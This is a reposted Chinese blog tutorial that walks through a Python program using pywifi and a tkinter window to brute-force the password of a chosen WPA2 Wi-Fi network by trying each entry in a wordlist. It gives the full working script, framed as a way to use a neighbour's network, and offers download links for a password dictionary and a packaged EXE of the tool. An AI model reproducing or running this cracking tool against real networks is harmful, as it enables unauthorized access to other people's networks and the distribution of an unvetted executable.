python破解wifi(暴力破解wf)

自己家的网路实在是差劲的一批…然后电脑打开WiFi,发现了有及格信号还蛮不错的WiFi,于是…就开始了愉快的Python之旅~~~主要步骤获取第一个无线网卡断开断开所有的wifi读取密码本设置睡眠时间fromtkinterimport*frompywifiimportconstimportpywifiimporttime#主要步骤:#1、获取第一个无线网卡#2、断开所有的wifi#3、读取密码本#4、设置睡眠时间#测试连接defwi

大家好,又见面了,我是你们的朋友全栈君。

自己家的网路实在是差劲的一批…

然后电脑打开WiFi,发现了有及格信号还蛮不错的WiFi,于是…

就开始了愉快的Python之旅,字典密码本和封装好的文件文末获取~~~

主要步骤

  1. 获取第一个无线网卡
  2. 断开断开所有的wifi
  3. 读取密码本
  4. 设置睡眠时间
from tkinter import *
from pywifi import const
import pywifi
import time
 
# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
 
#测试连接
def wificonnect(str,wifiname):
    # 窗口无线对象
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status()==const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #wifi的密码
        profile.key = str
        # 网卡的开发
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元,这里需要写点加密单元否则无法连接
        profile.cipher = const.CIPHER_TYPE_CCMP
 
        #删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        #设置新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 连接
        ifaces.connect(tep_profile)
        time.sleep(3)
 
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
 
 
def readPwd():
    # 获取wiif名称
    wifiname = entry.get().strip()
 
    path = r'./wifipwd.txt'
    file = open(path,'r')
    while True:
        try:
            # 读取
            mystr = file.readline().strip()
            # 测试连接
            bool = wificonnect(mystr,wifiname)
            if bool:
                text.insert(END,'密码正确'+mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END,'密码错误'+mystr)
                text.see(END)
                text.update()
 
        except: continue
 
# 创建窗口
root = Tk()
root.title('wifi**')
root.geometry('500x400')
 
# 标签
label = Label(root,text='输入要破解的WIFI名称:')
#定位
label.grid()
#输入控件
entry  = Entry(root,font=('微软雅黑',14))
entry.grid(row=0,column=1)
#列表控件
text =Listbox(root,font=('微软雅黑',14),width=40,height=10)
text.grid(row=1,columnspan=2)
# 按钮
button = Button(root,text = '开始破解',width=20,height=2,command=readPwd)
button.grid(row=2,columnspan=2)
 
# 显示窗口
root.mainloop()

字典文本链接如下:

下载链接:https://taoxiaoxin.lanzous.com/iYOXMkt73ba
密码:txx

封装好的EXE文件

  • 软件截图如下:
    软件截图

EXE文件下载链接如下:

下载链接:https://taoxiaoxin.lanzous.com/iYOXMkt73ba
密码:txx

总结

  • 我这边才开始学python没多久,纯属于Python学习,这个工具其实是非常鸡肋的一个工具,其实敲一下邻居家门,然后递上一支烟,就能解决~~
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/128752.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 什么,缺“Java项目经验”找不到工作?锋哥送你80个“项目经验”[通俗易懂]

    什么,缺“Java项目经验”找不到工作?锋哥送你80个“项目经验”[通俗易懂]很多学计算机小伙伴从校园刚出来,因为没有项目经验,找工作出出碰壁,尤其是普通大学大专和本科。今天锋哥送80个“Java项目经验”给你,无套路,谢谢;看看下面的“惨剧”就知道:没项目经验,找不到工作没有项目经验,得不到面试机会对于普通大学毕业的大专或者本科生,要想找份好实习单位或者工作,还真得搞点“项目经验”,至少能有面试机会,最终才能有工作机会;经常有应届生找我,说“锋哥啊,给点项目经验啊,实在编不出来”;今天“它来了”,一次性给你80个;(资源来自互联网)截图几个大伙看看:.

    2022年6月12日
    37
  • [算法]有趣算法合辑[11-20][通俗易懂]

    [算法]有趣算法合辑[11-20]

    2022年1月29日
    41
  • iOS开发常用国外网站清单

    iOS开发常用国外网站清单工欲善其事必先利其器,最近发现临时查找一些东西容易浪费时间,花了点时间整理一下常用的网站,方便以后备用。国内的code4app,ui4app,cocoachina,oschina,csdn就不说了,基本上很好用。不过国外网站上的好东西更多,可惜找起来也更费时间,需要整理一下。主要分开发教程、示例项目、UI设计、问题解决几块。开发教程:即便过了入门阶段,还是要

    2022年7月12日
    14
  • RTX 2080 Ti挖矿实测:强悍创纪录 但挖矿还是得看AMD[通俗易懂]

    RTX 2080 Ti挖矿实测:强悍创纪录 但挖矿还是得看AMD[通俗易懂]NVIDIA图灵架构的新一代显卡RTX2080、RTX2080Ti已经上市,想必会有不少人疑问:用它们来挖矿如何?能大赚一笔吗?Hardwareluxx就此作了一番特别测试,所用两款新卡均为FoundersEdition公版卡,挖矿测试软件则是ClaymoreDualEthereumGPUMinerv11.9,挖的是以太坊,但还是7月份的版本,显然优化会是个…

    2022年4月29日
    226
  • 见过仙女蹦迪吗?一起用python做个小仙女代码蹦迪视频「建议收藏」

    见过仙女蹦迪吗?一起用python做个小仙女代码蹦迪视频「建议收藏」前言最近在B站上看到一个漂亮的仙女姐姐跳舞视频,循环看了亿遍又亿遍,久久不能离开!看着小仙紫姐姐的蹦迪视频,除了一键三连还能做什么?突发奇想,能不能把舞蹈视频转成代码舞呢?说干就干,今天就手把手教大家如何把跳舞视频转成代码舞,跟着仙女姐姐一起蹦起来~视频来源:【紫颜】见过仙女蹦迪吗【千盏】一、核心功能设计总体来说,我们需要分为以下几步完成:从B站上把小姐姐的视频下载下来对视频进行截取GIF,把截取的GIF通过ASCIIAnimator进行ASCII字符转换把转换的字符gif根据每

    2022年4月28日
    50
  • npm包–rimraf[通俗易懂]

    npm包–rimraf[通俗易懂]1/含义rimraf 包的作用:以包的形式包装rm-rf命令,用来删除文件和文件夹的,不管文件夹是否为空,都可删除2/安装npminstallrimraf–save-dev3/使用constrimraf=require(‘rimraf’);rimraf(‘./test.txt’,function(err){//删除当前目录下的t

    2025年7月10日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号